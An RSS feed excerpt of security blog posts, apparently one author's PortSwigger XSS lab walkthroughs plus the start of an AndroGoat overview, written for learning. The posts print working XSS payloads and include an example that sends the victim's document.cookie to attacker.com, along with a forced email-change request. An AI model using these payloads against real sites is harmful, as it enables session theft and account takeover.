for the /api/options from the Network tab in DevTools which is getting a request and the status is 200 or equest was successfully processed by the server. when i try to open it, it look like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*dJwM92DL1Wx9RI97T1g-ew.png" /></figure><p>i can see from the /api/options there a secret in the output, which is:</p><blockquote><strong>Blip-blop, in a pickle with a hiccup! Shmiggity-shmack</strong></blockquote><p>And when I tried to enter the secret into the game, the system automatically gave me a flag with escaped output. its because The if statement in that function that i mention before, if the input matches one of the options <strong>or the answer is “secret”</strong> the following code will be executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JZQrw30cvibUoVd09owYVA.png" /></figure><p>What are your thoughts of this? Feel free to share your insights or questions! I’d love to hear from you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c5edf2a43f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Down cross-site scripting (XSS) part 4| Walkthrough via PortSwigger]]></title>
            <link>https://medium.com/@hammamawis/breaking-down-cross-site-scripting-xss-part-4-walkthrough-via-portswigger-850d51d92ad8?source=rss-b90eee57f210------2</link>
            <guid isPermaLink="false">https://medium.com/p/850d51d92ad8</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Hammam Awis Zukimi]]></dc:creator>
            <pubDate>Wed, 11 Mar 2026 09:47:39 GMT</pubDate>
            <atom:updated>2026-03-11T09:47:39.364Z</atom:updated>
            <content:encoded><![CDATA[<p>In this lab, the vulnerability exists within a website’s <strong>comment functionality</strong>, specifically in how the application processes the <em>comment author name</em>. When a user submits a comment, the application dynamically generates an HTML anchor (&lt;a&gt;) element that links to the author’s website. Ideally, user input should be safely sanitized before being inserted into HTML attributes. However, improper validation allows attacker-controlled data to influence the href attribute of the anchor tag.</p><h3>Lab 8: Stored XSS into anchor href attribute with double quotes HTML-encoded</h3><p>So for this lab, there is no search function provided, but the purpose of the lab simulation is to go to the blog comment section and then use the author’s website link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*Xx31fUDuKnHJssBUBImYiw.png" /></figure><p>Here we will try to create a dummy comment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*9PuwO9xqtCl6In62X_4CQw.png" /></figure><p>and after we post the comment, the output will be a hyperlink from a website we input</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*o8dw_xitBk7e8RL_jAJ6oA.png" /></figure><p>and when we try to inspect the website, the output from the previous comment will look like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*VpHGpXY0lP5HnBp_ITQDnA.png" /></figure><p>The problem is <strong>User-controlled input is placed directly inside the </strong><strong>href attribute</strong>.</p><p>If the application does not properly validate or sanitize the input, an attacker can supply a malicious value instead of a normal URL.</p><p>now we will try with this input in the website column:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*CRqZ9HuBVwwp6YHux0tbHA.png" /></figure><p>and when we try to click the author which is ourself, the alert of the STORED XSS payload is successful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*GB6coKDaOEPL_tksBwFBIA.png" /></figure><p>This is Stored XSS because the attacker submits a comment to the website:</p><p>javascript:alert()</p><p>The server stores the comment in the database. Then the website automatically creates an HTML anchor. All visitors see the link.</p><p>When clicked → JavaScript runs.</p><p>The payload is stored = therefore it is called Stored XSS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*Ggnug56O4gAsUpFgGwipQg.png" /></figure><p>The root cause of the vulnerability is that user input is directly entered into the href attribute without protocol restrictions.</p><p>There is no whitelist such as:</p><blockquote>http://<br>https://</blockquote><p>In the real world, attackers can do much more damage.<br><strong>1. Session Login Encryption (Account Takeover)</strong><br>When the victim clicks on the author’s name, the script can retrieve the login cookie, example:</p><p>javascript:fetch(“<a href="https://attacker.com/?cookie=">https://attacker.com/?cookie=</a>”+document.cookie)</p><p><strong>2. Performing Actions as a Victim (Privilege Abuse)<br></strong>JavaScript runs with the access rights of the currently logged-in user.</p><p>Scripts can change passwords, send messages, transfer data, orpost comments automatically</p><p>Concept example:</p><blockquote>javascript:fetch(‘/change-email’ {method:‘POST’,body:‘<a href="/service/mailto:email=hacker@mail.com">email=hacker@mail.com</a>’})</blockquote><p><strong>3. Phishing on Official Websites</strong><br>Attackers can create fake login pages on authentic domains:<br>- display login pop-ups<br>- victims trust them because the domains are authentic<br>- credentials are stolen</p><p><strong>4. Sensitive Data Theft Page</strong><br>The script can read page conten, CSRF token, profile data, user email, or API responses</p><p>For concept example:</p><blockquote>javascript:alert(document.body.innerText)</blockquote><p><strong>5. And there’s still many more</strong></p><p>This lab demonstrates an important real-world lesson: partial output encoding is not sufficient protection against XSS. Secure applications must apply context-aware output encoding, strict input validation, and safe handling of HTML attributes to prevent attackers from transforming trusted interface elements into execution vectors.</p><p>What are your thoughts of this? Feel free to share your insights or questions! I’d love to hear from you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=850d51d92ad8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Down cross-site scripting (XSS) part 3 | Walkthrough via PortSwigger]]></title>
            <link>https://medium.com/@hammamawis/breaking-down-cross-site-scripting-xss-part-3-walkthrough-via-portswigger-bc96159c4f82?source=rss-b90eee57f210------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc96159c4f82</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Hammam Awis Zukimi]]></dc:creator>
            <pubDate>Mon, 09 Mar 2026 07:44:54 GMT</pubDate>
            <atom:updated>2026-03-09T07:44:54.393Z</atom:updated>
            <content:encoded><![CDATA[<p>Modern web applications rely heavily on client-side JavaScript to create dynamic and interactive user experiences. While this improves usability and responsiveness, it also introduces new security risks when user-controlled data is processed directly in the browser. One of the most common vulnerabilities that arises from this behavior is <strong>DOM-based Cross-Site Scripting (DOM XSS)</strong>, where malicious input is executed by manipulating the Document Object Model (DOM) without necessarily involving the server.</p><h3>Lab 6 : DOM XSS in jQuery selector sink using a hashchange event</h3><p>In this lab, the vulnerability appears on the home page of the application. The page uses <strong>jQuery’s </strong><strong>$() selector function</strong> to automatically scroll to a specific post based on a value taken from the <strong>location.hash</strong> portion of the URL. Because the value from location.hash is directly processed by the JavaScript code without proper validation or sanitization, an attacker can craft a malicious URL that injects executable code into the page. When the victim opens this specially crafted link, the browser executes the injected script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gB9YlToRsx3Dq0OFxJzGKw.png" /></figure><p>and this lab provides an exploit server. The server is used to host and send exploits to victims so that the XSS payload can be executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*8JLg-WXZOmsBKdFgpfGQrQ.png" /></figure><p>and in this lab, the vuln script is this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*RgZluqtkNZPXfgdA-T6RlQ.png" /></figure><blockquote>&lt;script&gt;<br> $(window).on(‘hashchange’, function(){<br> var post = $(‘section.blog-list h2:contains(‘ + decodeURIComponent(window.location.hash.slice(1)) + ‘)’);<br> if (post) post.get(0).scrollIntoView();<br> });<br> &lt;/script&gt;</blockquote><p>The script has a DOM-based Cross-Site Scripting vulnerability because it processes input from the URL (window.location.hash) directly into the jQuery selector without secure validation or sanitization.</p><p>location.hash retrieves the fragment part of the URL after the # sign.</p><p>for example try to scroll to bottom of the web and look for the last blog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*NntG2oyRriH95I9R7sC4tg.png" /></figure><p>here we see “It’s All Just A Click Away” in the bottom of the blog, now we try changing the url into:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lM5swy4jOqtCU-7Q1uOi6g.png" /></figure><p>it will direct you to the bottom of the web and show the “It’s All Just A Click Away” blog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*R2NCkdXhhWOkBmha5ONrSQ.png" /></figure><p>now we try go to console and see how the script work, and for the output, we can see from the script <strong>decodeURIComponent(window.location.hash.slice(1)) </strong>and from the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*ZAzU2ljsUR0p8FH1QMfYhA.png" /></figure><p>This selector means Find the &lt;h2&gt; element within the section.blog-list that contains that text. If the element is found, jQuery will return it.</p><p>Its relationship with DOM XSS Because the value of <strong>window.location.hash</strong> is directly entered into the selector :</p><blockquote><strong>:contains(userInput)</strong></blockquote><p>Attackers can manipulate input to break the selector, insert HTML, and trigger JavaScript</p><p>This is what causes DOM-based XSS vulnerabilities.</p><p>and if we try a simple payload,</p><p>{url}/#&lt;img src=1 onerror=print()&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vn5VoBahAirLt-noXp98Zw.png" /></figure><p>the output will look like this and it run the payload and print() here is a built-in JavaScript function that calls the browser’s print dialog (usually to print the page or save it as a PDF).</p><p>However, this alone is not enough, because after triggering the script once, the payload will no longer work after we reload the page or reopen it, unless we use a new payload.</p><p>now we go to exploit server and for the body, we fill it with</p><p>&lt;iframe src=”<a href="https://0a9900bb034c3ad2b35aca1200a600e2.web-security-academy.net//#">https://{ID}.web-security-academy.net//#</a>&quot; onload=”this.src+=’&lt;img src=x onerror=print()&gt;’”&gt;&lt;/iframe&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LN8JcA1b_w-Fpl-OKS110Q.png" /></figure><p>and if we see the view exploit, the view will look like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ZQgHoFpxgqCAlmBD-ACsQ.png" /></figure><p>here we can see in /exploit its always doing the print() command even when we try to close it</p><p>and whe we see the Access log</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TycEF_Tkh1zHrzNjiTz5RA.png" /></figure><p>The sequence of events from the log is:<br>1. You open the exploit server<br>2. You save the exploit (POST /)<br>3. You view the exploit (GET /exploit)<br>4. You press Deliver to victim<br>5. Victim (10.0.3.58) opens /exploit<br>6. Iframe loads the target website<br>7. Payload enters location.hash<br>8. DOM XSS occurs<br>9. print() is executed in the victim’s browser</p><p>The payload continues to run even in an iframe. Because DOM XSS occurs in client-side JavaScript and iframes continue to run the target page’s JavaScript, the exploit remains successful.</p><h3>Conclusion</h3><p>The Exploit Server has been provided specifically to simplify the attack demonstration process. In the real world, attackers do not have access to such servers, but they will use their own servers. When I create an exploit page on the exploit server, you are actually creating a web page hosted by the attacker’s server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*F5VAo1EInfeyxCIsAHyWmQ.png" /></figure><p>When you click Store, the server saves it as:</p><blockquote><a href="https://exploit-server-id.exploit-server.net/exploit"><strong>https://exploit-server-id.exploit-server.net/exploit</strong></a></blockquote><p>So /exploit is actually just the URL of the exploit page you created.</p><p>When you click “Deliver to victim” In the lab, the system opens the URL:</p><blockquote><strong>/exploit</strong></blockquote><p>The victim’s browser visits the page, then the exploit page runs the payload, and finally the payload attacks the target website. and for the example:</p><blockquote><strong>&lt;iframe src=”https://target-site.com//#&quot;<br>onload=”this.src+=’&lt;img src=x onerror=print()&gt;’”&gt;<br>&lt;/iframe&gt;</strong></blockquote><p>This is only a simulation of the victim opening the attacker’s link.</p><p>In a real-world scenario, attackers do not have access to the PortSwigger Exploit Server, so they create their own website. There, attackers host exploit pages.</p><blockquote>Example:<br><a href="https://evil-site.com/exploit.html"><strong>https://evil-site.com/exploit.html</strong></a></blockquote><p>The attacker will attempt to get the victim to open the page through phishing emails, chat messages, forums, etc.</p><blockquote>When the victim opens the link, the flow will be as follows:<br><strong>Victim Browser -&gt; evil-site.com/exploit.html -&gt; iframe load -&gt; target-site.com -&gt; DOM XSS triggered</strong></blockquote><p>The payload is then executed on the target-site.com domain, not on the attacker’s domain.</p><p>In the lab, only run: <strong>print()</strong></p><p>But in the real world, attackers usually:</p><ul><li>steal session cookies</li><li>steal CSRF tokens</li><li>perform account takeovers</li><li>run malicious actions on behalf of users</li></ul><p>What are your thoughts of this? Feel free to share your insights or questions! I’d love to hear from you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc96159c4f82" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Down cross-site scripting (XSS) part 2| Walkthrough via PortSwigger]]></title>
            <link>https://medium.com/@hammamawis/breaking-down-cross-site-scripting-xss-part-2-walkthrough-via-portswigger-22ba857de028?source=rss-b90eee57f210------2</link>
            <guid isPermaLink="false">https://medium.com/p/22ba857de028</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[Hammam Awis Zukimi]]></dc:creator>
            <pubDate>Mon, 02 Mar 2026 03:13:50 GMT</pubDate>
            <atom:updated>2026-03-02T03:13:50.448Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>DOM XSS (Document Object Model Cross-Site Scripting)</strong> is a type of <strong>client-side</strong> cross-site scripting vulnerability where the attack payload is executed in the browser because of unsafe JavaScript code, not because of the server response.</p><p>Unlike reflected or stored XSS, <strong>DOM XSS happens entirely in the browser</strong>.</p><h3>DOM XSS vs Other XSS Types</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*g-U6jZnIjp8IqzO-KiWOqQ.png" /></figure><p>The key difference:<br> DOM XSS is caused by insecure JavaScript manipulating the DOM.</p><h3>Lab 3: DOM XSS in document.write sink using source location.search</h3><p>So here we have a lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The website function provided is a web blog where there are many blogs about anything, and the website has a “<strong>search the blog…</strong>” function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*-_BOrZJtDTVqDL06WEqkYQ.png" /></figure><p>but when i try to give random numerical input, the result will be like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*rMnTZyxcm7NJSNqn93C1Gg.png" /></figure><p>There is nothing wrong with the output, but when we try to check the website, something is unusual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*rh0WOJW1w3s7VZFQv2l9zg.png" /></figure><p>The code has a DOM XSS vulnerability because it retrieves the search parameter value from the URL using URLSearchParams, then directly inserts it into document.write() without validation or encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*nA_BKMl-n1gkpFMNILxZXg.png" /></figure><p>The query value is concatenated into the src attribute of the &lt;img&gt; element (tracker.gif?searchTerms= + query), so if an attacker enters special characters such as quotation marks (“), they can break the attribute and insert malicious JavaScript that will be executed in the victim’s browser.</p><p>Because this process occurs entirely on the client side, this attack is classified as DOM-based XSS and can execute malicious scripts on behalf of the user.</p><h3>EXPLOIT</h3><p>Here, I only performing a simple alert script by entering the script in the search bar with</p><blockquote>“&gt;&lt;svg onload=alert(505)&gt;</blockquote><p>and the output will be shown like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*pIYWVZNtUU29f6pf80v24w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*-5GiEOTOop6lBDED4rnyag.png" /></figure><p>Because document.write() writes directly to the DOM as raw HTML, the browser will re-parse and execute the event handler.</p><h3>Lab 4: DOM XSS in innerHTML sink using source location.search</h3><p>So here we have a lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search. The website function provided is a web blog where there are many blogs about anything, and the website has a “<strong>search the blog…</strong>” function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*A7-Mzc1tzMFhVvFPFOb6Og.png" /></figure><p>when i try to inspect the search function, we can see that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*PQK6Fg22hco30lW548vv7w.png" /></figure><p>The code has a DOM-based Cross-Site Scripting vulnerability because the search parameter value from the URL is retrieved directly using window.location.search, then inserted into the DOM via the innerHTML property without any validation or sanitization process.</p><p>In terms of flow, the script takes user-controllable input (query) from the URL, then the doSearchQuery() function writes it to the HTML element using document.getElementById(‘searchMessage’).innerHTML = query;. Because innerHTML will parse the input as HTML, not plain text, an attacker can insert malicious tags or event handlers which are then executed by the victim’s browser. This vulnerability is classified as DOM XSS because the entire exploitation process occurs on the client side (browser) without server involvement in generating the malicious payload.</p><h3>EXPLOIT</h3><p>Here, I only performing a simple alert script by entering the script in the search bar with</p><blockquote>&lt;img src=1 onerror=alert(404)&gt;</blockquote><p>and the output will be shown like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*rlXQmPAMMoDBmIl8YKUjiQ.png" /></figure><p>and for the result of the search, The value of the search parameter is inserted into the element with id=”searchMessage” using innerHTML, so that the browser does not treat it as plain text, but as a real HTML element.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*cCxcn9SGCMsDRS4D9cxS_w.png" /></figure><p>The browser attempts to load an image from src=”1&quot;. Since the image file does not exist (invalid source), an error occurs when loading the image. The onerror event is then automatically triggered, and JavaScript alert(404) is executed. As a result, an alert popup appears in the victim’s browser.</p><h3>Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source</h3><p>So here we have a lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the jQuery library’s $ selector function to find an anchor element, and changes its href attribute using data from location.search. The website function provided is a web blog where there are many blogs about anything, and for now, we exploit the feedback function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*cP8Vy2q9CfsTx9XvshfCJA.png" /></figure><p>when i try to inspect the submit feedback page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*htGkNQ0GavPDezlXsVH5qQ.png" /></figure><p>The DOM XSS vulnerability is found in the following script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*Ak3WTiyjTIHZbRSx5_Mghg.png" /></figure><blockquote>&lt;script&gt;<br> $(function() {<br> $(‘#backLink’).attr(“href”, (new URLSearchParams(window.location.search)).get(‘returnPath’));<br> });<br> &lt;/script&gt;</blockquote><p>This script takes the returnPath parameter value from the URL (which can be controlled by the user), then directly inserts it into the href attribute of the Back link without validation.</p><p>The browser reads input from the URL:</p><blockquote>?returnPath=…</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*5j7AeTqmYT1NDYMhBTW2rQ.png" /></figure><p>This value is immediately converted to:</p><blockquote>&lt;a id=&quot;backLink&quot; href=&quot;USER_INPUT&quot;&gt;Back&lt;/a&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*2-w6RPPn4YRiBVuNJvZGOA.png" /></figure><p>Because it is not filtered, an attacker can enter malicious values.</p><h3>EXPLOIT</h3><p>Here, i will performing a simple alert script by entering the script from the returnPath=</p><blockquote>/feedback?returnPath=javascript:alert(“dont press the back button”)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*LqsFNBcQXlk9BrYu6VhPng.png" /></figure><p>after we load the script, now i will press the back button to test the theory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*T7i6QPQUe3JRgevGg-un9Q.png" /></figure><p>When the victim presses the Back button, the browser executes the JavaScript code and conclude the XSS is successful.</p><h3>CONCLUSION</h3><p>All labs show that DOM XSS occurs when input from the URL (location.search) is inserted into the page without validation. The difference lies in the sink used: document.write writes HTML directly to the page, innerHTML inserts HTML into a specific element, while jQuery href changes the link attribute so that JavaScript can be executed when clicked. Thus, DOM security depends heavily on how user data is inserted into the page, not just where the data comes from.</p><ul><li>DOM XSS — document.write</li></ul><p>The browser treats the input as raw HTML. This is very dangerous because it is rendered immediately. The payload usually closes the tag and then inserts a new element.</p><ul><li>DOM XSS — innerHTML</li></ul><p>Input is entered into a specific element. The browser parses the HTML and the event handler is activated.</p><ul><li>DOM XSS — jQuery href attribute</li></ul><p>Do not inject HTML, but modify attributes. You can use the javascript: scheme.</p><p>and for each focus of vulnerability, document.write has an HTML injection vulnerability when rendering pages. innerHTML has an HTML parsing vulnerability within elements. jQuery href attribute has a JavaScript URL execution vulnerability when the user clicks.</p><p>What are your thoughts of this? Feel free to share your insights or questions! I’d love to hear from you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22ba857de028" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Down cross-site scripting (XSS) part 1 | Walkthrough via PortSwigger]]></title>
            <link>https://medium.com/@hammamawis/breaking-down-cross-site-scripting-xss-part-1-walkthrough-via-portswigger-bc2f2fb76692?source=rss-b90eee57f210------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc2f2fb76692</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Hammam Awis Zukimi]]></dc:creator>
            <pubDate>Mon, 23 Feb 2026 05:32:34 GMT</pubDate>
            <atom:updated>2026-02-23T08:05:11.390Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Cross-Site Scripting (XSS)</strong> is a security problem where a website accidentally allows someone to insert <strong>malicious JavaScript code</strong> into pages that other users will open.</p><p>When another user visits that page, the harmful script runs in their browser, as if it came from the trusted website.</p><p>Think of it like this:</p><blockquote><em>A website lets users post comments.<br> Instead of a normal comment, an attacker posts hidden JavaScript code.<br> When other people view the comment, their browser runs that code.</em></blockquote><h3>Why is XSS Dangerous?</h3><p>Because the script runs inside the victim’s browser, it can:</p><ul><li>Steal login cookies (session hijacking)</li><li>Pretend to be the user</li><li>Change website content</li><li>Redirect users to fake websites</li><li>Perform actions on behalf of the user</li></ul><p>If the victim is an admin, the attacker could gain full control of the system.</p><h3>Simple Analogy</h3><p>Imagine a school bulletin board where anyone can post messages.<br> If someone secretly posts a message with hidden instructions that steal students’ ID cards when they read it.</p><p><strong>that’s similar to XSS.</strong></p><h3>Lab 1: Reflected XSS into HTML context with nothing encoded</h3><p>So here we have a lab where the website reflects XSS into HTML context with nothing encoded. The website function provided is a web blog where there are many blogs about anything, and the website has a “<strong>search the blog…</strong>” function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*Bt_5rCV5OMed3sj2FHyVkA.png" /></figure><p>and when we inspect the search function, the code looks like this</p><blockquote>&lt;form action=”/” method=”GET”&gt;<br> &lt;input type=”text” placeholder=”Search the blog…” name=”search”&gt;<br> &lt;button type=”submit” class=”button”&gt;Search&lt;/button&gt;<br> &lt;/form&gt;</blockquote><p>There are no direct vulnerabilities on the frontend. However, forms like this have the potential to cause several vulnerabilities depending on how the server processes the search parameters.</p><p>If the search value is displayed back on the page without sanitization, there is a potential for Reflected XSS (Cross-Site Scripting) to occur.</p><p>and the output was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*Vnv5YoiYYdn18v_uqUYobA.png" /></figure><p>This section displays user input (search) back into HTML.<br>This means that the main potential vulnerability here is:</p><p><strong>🚨 Reflected XSS (Cross-Site Scripting)</strong></p><p>Because the search value is displayed back in &lt;h1&gt;.</p><h3>EXPLOIT</h3><p>Now we will try the common practice of using the alert() function for this purpose because it is short, harmless, and difficult to miss when successfully called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*qeC7lKpcAV_iMGdAi4zHkg.png" /></figure><p>and for the output of the script is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tKlYPdYozNYCNq5WnbKBww.png" /></figure><p>If the search value is displayed without HTML escaping, then this page is not 100% vulnerable, but it is potentially vulnerable to Reflected XSS.</p><h3>Lab: Stored XSS into HTML context with nothing encoded</h3><p>So, this lab also provides a web blog, just like before, with the context Stored XSS into HTML context with nothing encoded. This website provides a blog, but there is no search button like before. However, each post provides a place for comments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*IvGUHbE6fTXleOLlE-8GQA.png" /></figure><p>in this section:</p><blockquote>&lt;textarea name=”comment”&gt;&lt;/textarea&gt;<br>&lt;input type=”text” name=”name”&gt;<br>&lt;input type=”text” name=”website”&gt;</blockquote><p>If the server stores comments and displays them again without sanitization, the following may occur:</p><p>🚨<strong> Stored XSS</strong></p><p>This is more dangerous than reflected XSS because:</p><ul><li>It persists in the database.</li><li>It attacks all users.</li><li>It can be used for admin session hijacking.</li></ul><h3><strong>EXPLOIT</strong></h3><p>now we try to exploit it with this kind of input:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*06Lh8EpLlYKdPNWGx5kQOA.png" /></figure><p>and the output will be like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*kHIOssM0zMe6evDeNT4XhA.png" /></figure><p>but if we try to go back to the blog we commented, the preview will look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZdMYEwUGg7btjYGfeoDL5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*ev81HA5bznhgJ5UKtAgUaQ.png" /></figure><p>This happened because the application was vulnerable to <strong>Stored XSS.</strong></p><p>payload &lt;script&gt;alert(…)&lt;/script&gt; that I entered into the comment field was stored in the database without sanitization or output encoding, and then every time the blog page was opened, the server retrieved the comment and rendered it again as raw HTML in the browser. the JavaScript code in it is automatically executed every time the page is loaded, so the alert always appears for anyone who opens the page, including yourself and all other visitors.</p><h3>CONCLUSION</h3><p>From your testing, it is evident that the application stores comment inputs without sanitization or output encoding, so that any JavaScript payload entered will be stored in the database and executed every time the page is opened. This indicates an XSS vulnerability that allows attackers to execute scripts in the victim’s browser. The impact can be very serious.</p><p>After we finish the two labs, we can conclude the deference between:</p><ul><li><strong>Reflected XSS</strong><br>Occurs when user input is immediately reflected back to the page without being sanitized.</li><li><strong>Stored XSS</strong><br>Occurs when malicious input is stored on the server, then executed every time the page containing that data is opened.</li></ul><p>What are your thoughts of this? Feel free to share your insights or questions! I’d love to hear from you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc2f2fb76692" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring Android Application Vulnerabilities Through Hands-On Testing with AndroGoat]]></title>
            <link>https://medium.com/@hammamawis/exploring-android-application-vulnerabilities-through-hands-on-testing-with-androgoat-8845e4719a36?source=rss-b90eee57f210------2</link>
            <guid isPermaLink="false">https://medium.com/p/8845e4719a36</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <dc:creator><![CDATA[Hammam Awis Zukimi]]></dc:creator>
            <pubDate>Fri, 09 Jan 2026 15:09:35 GMT</pubDate>
            <atom:updated>2026-01-09T15:09:35.144Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*rXEsf8kDgi2G6r2R0J9tKg.png" /></figure><p><strong>AndroGoat</strong> is a deliberately vulnerable Android application created as a learning and testing platform for Android application security. It is designed to help students, developers, and security practitioners understand common mobile security flaws through hands-on practice. Instead of learning vulnerabilities only from theory, AndroGoat allows users to directly analyze source code, observe insecure implementations, and exploit weaknesses in a controlled and ethical environment.</p><p>AndroGoat is closely connected to the <strong>OWASP Top 10 Mobile Risks</strong> because the vulnerabilities implemented in the application are based on real-world security issues identified by OWASP. Each module in AndroGoat demonstrates common weaknesses. By mapping these scenarios to the OWASP Top 10, AndroGoat helps learners understand how OWASP risks appear in real Android code and why these vulnerabilities are dangerous. This makes AndroGoat an effective practical tool for learning, testing, and validating secure coding practices aligned with OWASP mobile security standards.</p><p>There are several vulnerabilities that I want to break down and analyze in this article, focusing on how they appear in real Android applications, how they can be exploited, and the potential impact they pose to user data and application security.</p><h3>Root and Emulator Detection</h3><p><a href="https://medium.com/@hammamawis/hands-on-android-security-testing-in-androgoat-root-and-emulator-detection-1c7874aceda5">Hands-On Android Security Testing in AndroGoat —  Root and Emulator Detection</a></p><p>Root and emulator detection are security mechanisms used in Android applications to identify rooted devices or emulator environments that are often associated with reverse engineering and attack attempts. In AndroGoat, these checks are implemented in a weak and easily bypassed manner, demonstrating how client-side detection alone is insufficient. This highlights the limitations of relying on root and emulator detection as a primary security control and shows why stronger, layered defenses are necessary.</p><h3>Insecure Data Storage</h3><p><a href="https://medium.com/@hammamawis/hands-on-android-security-testing-in-androgoat-insecure-data-storage-ca0673a4d753">Hands-On Android Security Testing in AndroGoat —Insecure Data Storage</a></p><p>Insecure Data Storage refers to the improper handling of sensitive information such as credentials, tokens, or user data within an application. In AndroGoat, this vulnerability is demonstrated through unsafe storage mechanisms that save sensitive data in plaintext or easily accessible locations. This preview highlights how weak storage practices can lead to data leakage and why protecting data at rest is a critical part of Android application security.</p><h3>Input Validation</h3><p><a href="https://medium.com/@hammamawis/hands-on-android-security-testing-in-androgoat-input-validation-b9c8ea7bdde6">Hands-On Android Security Testing in AndroGoat — Input Validation</a></p><p>Input validation vulnerabilities occur when 